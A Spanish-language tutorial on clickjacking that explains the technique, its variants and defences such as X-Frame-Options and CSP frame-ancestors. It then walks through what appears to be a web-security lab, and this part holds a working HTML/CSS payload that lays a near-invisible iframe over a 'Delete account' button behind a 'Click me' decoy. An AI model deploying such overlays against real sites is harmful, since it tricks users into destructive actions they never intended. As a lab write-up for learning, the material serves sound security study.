Clickjacking(«secuestro de clics»); Explicación y PoC
🖱️ ¿Qué es el Clickjacking y por qué es peligroso?
El clickjacking (también llamado “secuestro de clics”) es una técnica de ataque que juega con algo muy simple: tu atención y tu confianza.
Consiste en engañar al usuario para que pulse un botón o enlace que parece inofensivo, cuando en realidad está activando una acción completamente distinta y, normalmente, peligrosa.
Imagina que ves en una web un gran botón que dice “Dale like para ganar un premio”, pero en realidad, oculto detrás, hay otro botón invisible que está confirmando una transacción bancaria o borrando tu cuenta. Desde el punto de vista del usuario, nunca llega a ver lo que realmente está haciendo.
🔎 ¿Cómo funciona el clickjacking?
La técnica suele basarse en superponer capas dentro de una página web, de modo que lo que el usuario ve no es lo que está pasando en segundo plano.
Los elementos clave son:
- La página legítima (la víctima)
Es la aplicación o servicio de confianza: un banco, una red social, un correo electrónico… en definitiva, un lugar donde tenemos acciones sensibles. - Una capa oculta o transparente
El atacante coloca encima de esa página uniframeinvisible o un contenido visualmente camuflado. A ojos del usuario, parece que está pulsando sobre un botón inocente. - El redireccionamiento del clic
Cuando el usuario pulsa, en realidad está ejecutando la acción que el atacante quería: transferir dinero, instalar software, compartir información privada, etc. - El engaño visual
A veces, además de la capa invisible, se crean falsos botones o mensajes atractivos (“Haz clic aquí para un premio”) para incitar al usuario a interactuar.
🧩 Ejemplos y variantes
El clickjacking puede tomar distintas formas:
- Likejacking
Convencer al usuario de dar “Me gusta” a una publicación o página, cuando en realidad el clic va a otra acción oculta. - Permisos falsos
El botón que parece un simple “Aceptar” puede ser en realidad un permiso para instalar una app, activar la cámara o compartir información sensible. - Transacciones encubiertas
En entornos financieros, se puede utilizar para inducir a una persona a confirmar pagos o transferencias que no quería realizar. - Instalación de software malicioso
El clic puede descargar e instalar programas no deseados. - Superposiciones en móviles
Algunas aplicaciones maliciosas aprovechan overlays en Android u otros sistemas para engañar al usuario, mostrando pantallas falsas encima de las legítimas. - Publicidad engañosa
Banners con capas invisibles que redirigen a sitios fraudulentos aunque parezca que estás pulsando en un anuncio legítimo.
⚠️ Riesgos y consecuencias
Los impactos de un clickjacking pueden ser graves:
- Robo de credenciales.
- Autorización involuntaria de pagos o transferencias.
- Instalación de aplicaciones no deseadas.
- Acceso a datos personales como mensajes, fotos o contactos.
- Acciones automáticas en redes sociales: seguir cuentas, publicar contenido, dar “me gusta” sin consentimiento.
- Concesión de privilegios al atacante sin que el usuario lo note.
En resumen: el usuario cree que hace algo trivial, pero en segundo plano está comprometiendo su seguridad.
🛡️ Cómo protegerse del clickjacking
La defensa es cosa tanto de usuarios como de desarrolladores.
Para usuarios
- Evita hacer clic en enlaces, anuncios o botones que parezcan demasiado buenos para ser verdad.
- Descarga aplicaciones solo desde tiendas oficiales y evita instaladores sospechosos.
- Mantén tu sistema y aplicaciones actualizados, ya que muchas vulnerabilidades se corrigen con parches.
- Usa extensiones de seguridad en el navegador (bloqueadores de iframes o de scripts pueden ayudar).
- Si notas comportamientos extraños en una app (pantallas que aparecen encima, botones que no responden como deberían), sospecha.
Para desarrolladores y administradores
- Encabezados de seguridad: usar
X-Frame-OptionsoContent-Security-Policy (frame-ancestors)para evitar que tu sitio se cargue dentro de uniframemalicioso. - Confirmaciones adicionales: en acciones críticas (borrar cuenta, transferir dinero), pedir contraseñas, tokens o autenticación de dos factores.
- Diseño consciente: no permitir que una sola pulsación ejecute una acción destructiva.
- Monitoreo y detección: vigilar actividad inusual, como múltiples clics en la misma posición exacta.
- Reducir superficie de ataque: deshabilitar funciones embebidas innecesarias y validar orígenes en peticiones sensibles.
🧪 PoC: prueba de concept
En este laboratorio aprenderemos a explotar una vulnerabilidad de clickjacking mediante un ataque con iframe superpuesto. El objetivo es engañar al usuario para que haga clic en un botón sensible (en este caso «Delete account») creyendo que interactúa con un contenido inofensivo.
🔹 Paso 1: Antes de nada, iniciar sesión
Lo primero que hago es entrar con mi usuario de prueba en la aplicación del laboratorio. Quiero confirmar dónde está la sección “Mi cuenta” y ubicar visualmente el botón sensible (en el lab suele ser “Eliminar cuenta”). No toco nada; solo observo la interfaz para entender qué tendría que “tapar” un atacante.


🔹 Paso 2: Abre el Exploit Server
- Dirígete al servidor de exploits proporcionado por el laboratorio.
- En la sección Body, pega la siguiente plantilla HTML, que seria la definitiva, pero vamos a ir pasa a paso:
<style>
iframe {
position: relative;
width: 500px;;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position: absolute;
top: 500px;
left:40px;
z-index: 1;
}
</style
</style>
<div>Click me</div>
<iframe src="https://0ad700bc03c8f2e180353aaf00c500d8.web-security-academy.net/my-account"></iframe>
🔹 Paso 3: Personaliza la plantilla
Ahora ajustamos las variables de estilo para alinear correctamente el contenido engañoso con el botón objetivo:
- Creamos el iframe
Ejemplo:<iframe src="https://0ad700bc03c8f2e180353aaf00c500d8.web-security-academy.net/my-account"></iframe>

- Sustituye los valores de tamaño del
iframe:width: 500px; height: 700px;


- Ajusta las coordenadas para alinear el botón:
top: 300px;
left: 60px;
- Configura la opacidad para hacerlo semitransparente (de momento, para alinear):
opacity: 0.1;
🔹 Paso 4: Prueba la alineación
- Haz clic en Store y luego en View exploit.
- Pasa el ratón sobre el texto «Test me».
- El cursor debe cambiar a la mano, lo que indica que el
divestá colocado encima del botón Delete account.


🔹 Paso 5: Ajusta detalles
- Si no está bien alineado, modifica los valores de
topyleften los estilos CSS hasta que encaje perfectamente. - Una vez alineado, cambia el texto del div a:
<div>Click me</div>
- Cambia también la opacidad a un valor casi invisible:
opacity: 0.0001;



🔹 Paso 6: Ejecuta el ataque
- Haz clic en Store.
- Luego selecciona Deliver exploit to victim.
- Si todo está bien configurado, el laboratorio se marcará como solved ✅.
📌 Conclusión
El clickjacking es una técnica que aprovecha algo muy simple: la confianza de los usuarios en lo que ven en pantalla. Con un poco de superposición y engaño visual, es posible manipular clics para realizar acciones no deseadas.
La buena noticia es que también es fácil de mitigar si se aplican buenas prácticas de seguridad en el desarrollo y si los usuarios navegan con cautela.
En definitiva: no todo lo que ves en la pantalla es lo que parece. Por eso, la seguridad no depende solo de la tecnología, sino también de nuestra atención.
